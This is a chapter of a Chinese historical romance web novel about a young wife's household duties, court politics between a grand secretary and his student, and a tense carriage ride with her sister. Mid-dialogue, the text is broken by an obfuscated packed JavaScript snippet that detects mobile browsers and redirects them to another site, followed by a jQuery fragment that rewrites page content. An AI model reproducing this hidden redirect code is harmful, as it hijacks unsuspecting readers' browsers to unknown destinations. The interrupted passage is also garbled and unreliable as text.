午时,宋翰之又赶回户部,说有些账目还要再整理完递上去。
他派贴身小厮给她送来药膏,说这药膏对蚊虫叮咬有奇效,是特地为她买来的。
温幼槐暗道他实在体贴,却有些疑惑还没到盛夏时节怎么好好地想起给她买这个?
直到午后,她坐在镜前,看到自己脖颈处的一点红痕。
解开衣裳,红痕大大小小几乎布满了身体,无一不昭示着昨晚的狂风暴雨。
温幼槐手脚冰凉,让人烧了水在浴桶中泡了许久,红痕才将将消散了些。
没多久,红鸢回来了。
她将丫鬟遣派出去,关上门窗低声将经过禀告了一遍:“......夫人放心,事情已经办妥了。”
中间人给铁匠银子时她就在暗处看着,确保万无一失后才离开,那铁匠定然是不知她身份的。
温幼槐轻轻嗯了一声,靠着刺绣绒枕在塌上歇息了。她现在只想好好地睡一觉。
......
几日后,秋雨才歇,风暖日和,京城孟府外悄无声息停下一辆沉香宝顶马车。
内阁首辅孟廷儒,京都官场中大权独揽、位望通显,把持朝政多年。这样一个人,居住的地方却奢华不显、简朴素雅。
傅伯山进了府门,小厮前去通传,他轻车熟路走到书房前等候。
今日风暖,书房门窗大开着,老师正在日光下头写字,这会儿应是刚从宫里回来,身上的绯色官袍还没换下。
傅伯山进去后刚叫了声老师,孟廷儒便招手叫他过去看字:“你瞧瞧,我这个‘退’字写得如何?”
傅伯山看过后笑着说:“老师这字少了凌厉,多了温和,却是颇有几分其徐如林的意味。”
孟廷儒若有所思地看了片刻,抬头示意傅伯山,“坐下罢。”
孟廷儒手下门生不少,却唯独只有傅伯山是他亲自一步步教导至今的,亦是他最得意的学生。
“河南贪墨的案子陛下交给大理寺去办了,今日叫我进宫也是为了这事。”孟廷儒净了手,坐在傅伯山对面的太师椅上。
傅伯山温和一笑:“河南两司主官勾结一案轰动朝堂,前些年这类案子陛下皆是派锦衣卫直接抓捕,此次却放手交给大理寺和刑部,陛下这却是想轻轻放下了。”
孟廷儒看着对面波澜不惊的人,这人是由自己一手培养出来的,曾经他的一举一动都逃不过自己的眼睛,可如今也让人看不透了。
特意高调回京却在京外多留了一日,他这个学生应是早就猜到了陛下的心思,眼下在他跟前却滴水不漏。
“圣意难测,我们只有在其位谋其政罢了。”孟廷儒端起茶盏撇了撇茶沫,犀利的双眸半阖着。
日光照进窗牖,屋内逐渐暖了起来。
二人都是极有城府的,就这么平平稳稳地坐了会儿。
半晌,孟廷儒放下茶盏,缓缓开了口:“......说起来,你母亲的身体可还康健?前些日子我又派人送了些药材过去,方从云南运来的,品质都是上好的,想来她应能用得上。”
傅伯山微一拱手,面上始终是淡淡的笑容:“近些日子天凉,母亲睡得反倒安稳,每日用药进补着,精神倒也好了不少。却是劳烦老师挂心了。”
孟廷儒似是颇有感慨,起身走到窗前往外看,“人年纪大了,能多吃半碗饭、多睡半刻钟,便已是有福了!”
“转眼就是中秋,中秋过了便又快到年底......你也不用总来我这里,有时间多回去陪陪母亲罢。”
孟廷儒背着他,不知脸上是什么神情,傅伯山摸了摸茶盏,慢慢开口道:“昔太公八十才展露其才,如今老师春秋正盛,怎么倒开始忧心这些了?”
孟廷儒看着外头却没说话,只拂了拂手。
“宣府巡按御史的名簿你自己看着办吧,近日拟好交由陛下便罢。”
傅伯山朝那背影看了一眼,没再说什么,起身辞别了。
孟府外,袁观就在马车旁等着,见到主子出来,心里暗想这次的时间比以往短了许多。
等主子俯身进了马车后,袁观在外面低声问:“二爷,眼下去哪儿?”
马车里半晌没有声音,片刻后才轻飘飘传出一句:“回部衙。你去派人叫了顾时仁来,巡按御史的事总要问问他。”
袁观犹豫道:“回二爷,今日官员休沐,约莫部衙里头没什么人,顾郎中也不在家中,昨日曾邀了二爷去赏花,二爷推拒了。”
“......他在哪里赏花?”
袁观有些惊讶,二爷一向不喜欢这样推杯换盏的场合,今日怎么过问起这个?
他答道:“应是在验封司何大人府上。何大人邀了吏部户部几位大人,约莫也是想借顾郎中的面子邀您过去。”
“那便去看看吧。”
袁观不知二爷的心思,并未多言,吩咐马夫往何大人府上去了。
*
这几日温幼槐正在府中学习阅读账簿,这是婆母魏氏交代给她的任务。
然她实在对数目这一类的东西一窍不通,每每打开一本就感觉浑身疲乏,却是比安神香还要更有效用。
红鸢看着也是觉得好笑,倒了盏茶递过去:“爷既说了愿意帮您去夫人那里推拒了,您怎么不同意呢?”
“母亲才交给我件事做,他就去回绝了母亲,母亲会怎么看我呢?”温幼槐接过茶,喝了几口提起精神。
昨夜宋翰之的确说要帮她去回绝了,他原话是这样说的:“母亲这样安排我并不太满意,她一人经营十多家铺子,为人处事已经足够强势,难不成还要将你也培养成她那副样子吗?”
这样带着气,温幼槐更是不能放他去找婆母对峙了,她便拉着他问了几个复杂的地方。
宋翰之极其擅长心算,对账册的熟悉程度也超乎她的想象。
经他一讲,她反倒觉得有些增进。只是这犯困的毛病实在很难改正。
于是她今日特地把东西搬了出来,在院里的石桌上看账簿。
就这么昏头昏脑地看着,周嬷嬷却来了,传婆母的话来,让她今日便去何府一趟。
“礼已经备好了,温家二姑娘也在马车上等着,少夫人换件衣裳就快些去吧,就穿前儿送来布料裁好的裙衫,莫要失了体面。”
温幼槐自然十分震惊,二姐何时竟找到婆母跟前了?
按婆母的性子,应是见也不会见她才是啊!
周嬷嬷见她没动作,人精似的一眼便看出是怎么回事,笑一声道:“夫人说了,公子原先同何府三少爷交好,没见得近几年就不来往了,原先我们两家年节也时常拜见的,只是自打大房奶奶因病故去了,夫人忙于生意才很少去何府了,只是却也不能因为这个就断了往来。”
“您如今嫁入宋府,也该常去拜访何老夫人。整日里在府里闷着,不如多出去走走——您说呢?”
温幼槐才听出嬷嬷的言外之意,婆母这是不想和何府的关系当真断了,二姐的事却是恰好给了她们上门的机会。求人办事,总要送些厚礼过去,如此名正言顺,却也能两全其美。
再者,婆母一向嫌她不爱交际,二姐的事摆在前头,她却是不得不去了。
温幼槐心中有些说不出的膈应,却不能让周嬷嬷就这么等着她。
“辛苦嬷嬷来这一趟,我收拾收拾便去。”
说罢,周嬷嬷才走了。
温幼槐很快换了件雪青色织金妆花缎立领长衫,红鸢在一旁忍不住嘟囔:“这二奶奶平日一杆子打不出个闷屁,这会儿倒是会直接寻到夫人跟前,分明鬼精鬼精的。”
温幼槐心里正难受呢,听到这话却也噗嗤一笑:“等会儿在二姐姐面前可别这么说。”
红鸢摇摇头,瘪了瘪嘴道:“奴婢也就在您跟前说说罢了......只是您也不能大意了,这二奶奶虽说是您亲姐姐,但虎毒还食子呢,她既有这么多小心思,您也得提防着点。”
温幼槐笑得眼泪都快出来了:“人家是虎毒尚不食子,怎么到你嘴里就变了样了!”
“您!我这跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464138|169786||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
您说正事呢——”
“知道了,知道了,不打趣你罢。”
温幼槐笑着走出门,心里却想着红鸢说的话。
温止言这人的确如红鸢所说,看着温良寡言,实则小心思很多。
只是凭她的算计,怕是想不到这么奏效的法子,约莫是二姐夫在背后指点。
想到这里,温幼槐心中便有些不自在。
她是五个姐妹中唯一高嫁的,是以平日里总帮扶着她们,当中对二姐的付出尤其多。
远的且不说了,年前二姐姐跟前的文哥儿到了开蒙的年纪,她听父亲的话帮忙寻了个先生,前三个月的束脩还是从她这里出的,却连一声道谢都没见着。
幼时母亲偏心温止言,她习惯了忍让,姐妹间也很少计较,却忽略了这人的本性。直到嫁到宋府后,她才真正感受到二姐姐身上的缺点。
眼下见了她也是不吭声,坐在车厢当中捧着茶盏,当真就如红鸢所说——一杆子打不出个闷屁。
温止言面圆眉细,眸子杏核似的,平时不怎么爱说话,坐在那里只让人觉得她谨厚良淳,温幼槐从前便是被这副样子蒙骗。
马车缓缓动了起来,温幼槐看着温止言开了口,她也不会兜圈子,直截了当道:“二姐姐原觉得我不能帮你,才找到宋家人跟前。你也没想错,这事你若是先说与我听,我定会直接推拒——”
“但你也别想得太好,婆母的性子你是了解的,今日能帮你,明日也能和你断绝来往,宋家和温家究竟是谁更需要这个姻亲关系,我不说你也知道。”
她在姐姐和父母面前一向是很恭敬的,今日却言辞犀利,温止言脸上有些挂不住,却又不知道说些什么辩解,毕竟她说的没什么错,宋府夫人的性子强势,万一真惹了她不喜,那温府平日里受的恩惠就真没有了。
温幼槐又道:“母亲身子不好,每月一应药补开支都是我这里派人送过去,这个你应当知道。若是我这里出得少了,那二姐姐便要多出些——”
“不过这是二姐姐本就应该做的,想来也不需要我提醒。”
温止言脸色一变,终于有些坐不住了,这话却是用银钱威胁她了。
父亲俸禄微薄,母亲病了已有小半年,三个妹妹孝顺母亲,每月都要送些银钱药材来接济,温幼槐自然是给的最多的。
当中往往有所剩余,母亲都用在了府中的花销上,倘若断了这钱,府中怕是不好过的。
而温止言自己则是留在家中的,夫君入赘温家,如今孩子也随了温姓,自然要扛起温府的大梁,只她眼下还没这个能力。是以这笔钱万万不能断。
温止言这才慢吞吞道:“此番请五妹妹帮忙,这事若能成,日后便不会再麻烦你了。”
温幼槐心道二姐分明知道她介意什么,却偏偏还是去找了宋翰之和婆母,这不就是压根没把她放心上?
“成不成的是另一回事,二姐姐也不必拿这话要挟我,一码归一码。”温幼槐面色愈发冷了。
温止言瞥她一眼,轻嗯了一声,心里觉得奇怪。
她这个五妹妹向来最听话,自小也是话不多,对几个姐姐很是恭敬,如今却是怎么了?
她不由想到宋府,心道怕不是嫁了个好人家便变了性子,整日养尊处优连道德礼仪都忘了。
说起来这婚事不过是她抢过去的罢了,猖狂什么?现在还不是半个子儿都生不出来!
温止言暗自咬牙,心里虽气,却也知道今日不宜横生枝节,索性闭上眼装睡去了。
她心底是有思量的,今日虽说是去拜见何府老夫人,但她若是能借此机会结识何三少夫人,日后说不准能常和何府来往。
何三少爷却没什么要紧,何大人却是在吏部验封司做主官的,是在傅二爷手底下做事!
傅伯山什么样的人物?她自是不敢有什么想法的。她只期望着倘若能和何府攀上关系,自家夫君能有机会在何大人跟前混个脸熟,如此仕途说不定也能平步青云......
这般想着,何府到了。